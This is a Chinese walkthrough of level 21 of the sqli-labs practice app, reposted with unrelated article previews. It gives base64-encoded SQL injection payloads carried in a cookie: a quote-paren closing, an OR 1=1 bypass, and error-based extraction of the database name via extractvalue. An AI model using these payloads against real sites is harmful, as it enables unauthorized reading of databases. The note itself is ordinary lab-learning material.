sqllab第二十一关通关笔记

知识点:

  • 错误注入
    • 最大长度为32
    • 超过需要利用截取函数分段读取
  • cookie注入
  • base64加密会保留符号的原始属性

通过admin admin进行登录发现和第二十关显示的内容一样,猜测应该还是cookie注入;

直接截取带有cookie的数据包,发现uname参数的值被加密了,%3d是等号,这应该是一个base64加密

通过在线解码平台对数据进行解密发现是admin,这就对上了,确实是一个base64加密

有了第二十关的经验,这里直接使用单引号闭合看能不能绕过

构造payload:1'+or+1=1#

base64加密:MScrb3IrMT0xIw==(可以再次进行url编码,=变为%3d;不编码也行)

发现出现了错误,提示信息中出现了‘)’;说明这应该是一个where uname=('输入')

根据得到的信息,重新构造payload:1')+or+1=1#

base64编码:MScpK29yKzE9MSM=

发现还是报错,这就怪了

感觉是没问题的,是不是+号的问题呢???尝试换成空格

构造payload:1') or 1=1 #

base64编码:MScpIG9yIDE9MSAj

成功得到了正确的回显界面,base64加密会保留符号的原始属性

好了,下面可以进行错误注入了

构造payload:1') or exp(710)#

base64加密:MScpIG9yIGV4cCg3MTApIw==

成功执行了exp()函数,这里可以进行错误注入

下面通过错误注入读取数据库名

构造payload:1') or extractvalue(1,concat(0x7e,database(),0x7e))#

base64编码:MScpIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==

成功获取了数据库名,获取其他敏感信息原理相同

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/745741.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【计算机网络】概述

文章目录 一、Internet 因特网1.1 网络、互联网、因特网1.2 因特网的组成 二、三种交换方式2.1 电路交换 (Circuit Switching)2.2 *分组交换 (Packet Switching)2.3 报文交换 (Message Switching) 三、计算…

100W-150W电阻器-TO-247模压厚膜电阻(1)

EAK封装的TO-247功率电阻器为设计工程师提供稳定的晶体管式封装的大功率电阻器件,功率为100W-150W。这些电阻器专为需要精度和稳定性的应用而设计。该电阻器采用氧化铝陶瓷层设计,可将电阻元件和安装片分开。 EAK模压TO-247厚膜功率电阻器 这种结构提供了…

Redis基本使用

Redis基本使用 1.通用命令2.基本数据类型2.1 String2.2 Hash2.3 List2.4 Set2.5 SortedSet 3. SpringDataRedis3.1 简介3.2 快速代码示例3.3 序列化 1.通用命令 针对所有数据类型的操作可以在Redis官方文档查看。以下是通用的命令。 KEYS:查看符合模板的所有key D…

React——react 的基本使用

前提:安装全局的脚手架,通过create-creat-app 项目名,我们创建好一个新项目,cd进去,通过npm start去运行该项目 注意:简单看下demo的配置,在根目录我们可以看到,没有任何webpack的…

SpringCloudGateway之统一鉴权篇

SpringCloudGateway之统一鉴权篇 SpringCloudGateway实现统一鉴权的方式 基于JWT(JSON Web Token) 在客户端登录成功后,服务端生成一个包含用户信息和过期时间等数据的JWT令牌返回给客户端。 客户端在后续请求中将此令牌放在请求头&#xf…

rviz上不显示机器人模型(模型只有白色)

文档中的是base_footprint,需要根据自己所设的坐标系更改,我的改为base_link 如何查看自己设的坐标系: 这些parent父坐标系就是 同时打开rviz后需要更改成base_link

Linux——使用Keepalived实现DHCP服务的高可用

前言 Keepalived是一个用于实现高可用性的开源工具,主要用于实现基于VRRP协议的负载均衡和故障转移功能。它可以通过检测节点的健康状况,并自动切换到备份节点来确保服务的高可用性。 Keepalived支持多种检测方式,如ping、TCP连接等&#x…

20232831 2023-2024-2 《网络攻防实践》第2次作业

目录 20232831 2023-2024-2 《网络攻防实践》第2次作业1.实验内容2.实验过程3.学习中遇到的问题及解决4.学习感悟、思考等参考资料 20232831 2023-2024-2 《网络攻防实践》第2次作业 1.实验内容 (1)从www.csdn.net、www.163.com等中选择一个DNS域名进行…

结构设计模式 - 组合设计模式 - JAVA

组合设计模式 一. 介绍二.代码示例2.1 定义Component2.2 定义Leaf2.3 定义Composite 三. 参考案例 前言 这是我在这个网站整理的笔记,有错误的地方请指出,关注我,接下来还会持续更新。 作者:神的孩子都在歌唱 一. 介绍 由不同的对象组合成一个…

[嵌入式系统-39]:龙芯1B 开发学习套件 -9-PMON的文件结构

目录 前言: 一、PMON-V1.1 目录结构 二、Targets目录的组成 前言: 参考:​​​​​​龙芯相关 - 心映真的空间 一、PMON-V1.1 目录结构 PMON-V1.1 目录结构 pmon的目录结构大致如下(由linux工具tree生成) |-- Tar…

OSI(Open Systems Interconnection)模型和TCP/IP模型

OSI模型 OSI模型是一个概念模型,由国际标准化组织(ISO)在1984年提出,用于促进不同系统间的通信互联。OSI模型将网络通信的过程分为七层,每一层都有其特定的功能,从下至上依次是: 物理层&#x…

【机器学习智能硬件开发全解】(四)—— 政安晨:嵌入式系统基本素养【后摩尔时代】

随着物联网、大数据、人工智能时代的到来,海量的数据分析、大量复杂的运算对CPU的算力要求越来越高。 CPU内部的大部分资源用于缓存和逻辑控制,适合运行具有分支跳转、逻辑复杂、数据结构不规则、递归等特点的串行程序。 在集成电路工艺制程将要达到极…

CMake 脚本命令(Scripting Commands)之find_package

使用find_package引入外部依赖包 本章节通过示例演示Cmake中find_package的用法。 注:所有教程均在linux系统下测试通过,如果是windows和mac系统,可能会出现错误,需要自行调试修改 通过Cmake内置模块引入依赖包 为了方便我们在…

Todesk与向日葵:哪款远程工具更胜一筹?

在数字化时代,远程工具已成为许多个人和企业不可或缺的一部分。其中,Todesk和向日葵是两款备受瞩目的远程桌面软件。它们各自拥有独特的功能和优势,但究竟哪一款更适合您的需求呢?本文将从稳定性、易用性、价格和安全性等方面对这…

一个H5页面中直接使用React的示例与说明

示例 如题&#xff0c;下面的个简单代码示例—在H5页面中直接使用React <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0&q…

Pytorch从零开始实战21

Pytorch从零开始实战——Pix2Pix理论与实战 本系列来源于365天深度学习训练营 原作者K同学 文章目录 Pytorch从零开始实战——Pix2Pix理论与实战内容介绍数据集加载模型实现开始训练总结 内容介绍 Pix2Pix是一种用于用于图像翻译的通用框架&#xff0c;即图像到图像的转换。…

【数学】【计算几何】1453. 圆形靶内的最大飞镖数量

作者推荐 视频算法专题 本文涉及知识点 数学 计算几何 LeetCoce:1453. 圆形靶内的最大飞镖数量 Alice 向一面非常大的墙上掷出 n 支飞镖。给你一个数组 darts &#xff0c;其中 darts[i] [xi, yi] 表示 Alice 掷出的第 i 支飞镖落在墙上的位置。 Bob 知道墙上所有 n 支飞…

【Maven 加速 下载】使用 | 阿里云 Maven 中央仓库

阿里云 Maven 中央仓库: 是 阿里云云效 提供的公共代理仓库。 优势: 相比于 Maven 中央仓库,下载更快,更稳定。 仓库地址: 仓库名称阿里云仓库地址阿里云仓库地址(老版)源地址centralhttps://maven.aliyun.com/repository/centralhttps://maven.aliyun.com/nexus/content/…

分布式之网关Gateway

Spring Cloud Gateway 1、网关简介 网关作为流量的入口&#xff0c;常用的功能包括路由转发&#xff0c;权限校验&#xff0c;限流等。 2、Gateway简介 Spring Cloud Gateway 是Spring Cloud官方推出的第二代网关框架&#xff0c;定位于取代 Netflix Zuul。相比 Zuul 来说&…

抖音在线点赞任务发布接单运营平台PHP网站源码

源码简介 抖音在线点赞任务发布接单运营平台PHP网站源码 多个支付通道分级会员制度 介绍&#xff1a; 1、三级代理裂变&#xff0c;静态返佣/动态返佣均可设置。&#xff08;烧伤制度&#xff09;。 2、邀请二维码接入防红跳转。 3、自动机器人做任务&#xff0c;任务时间…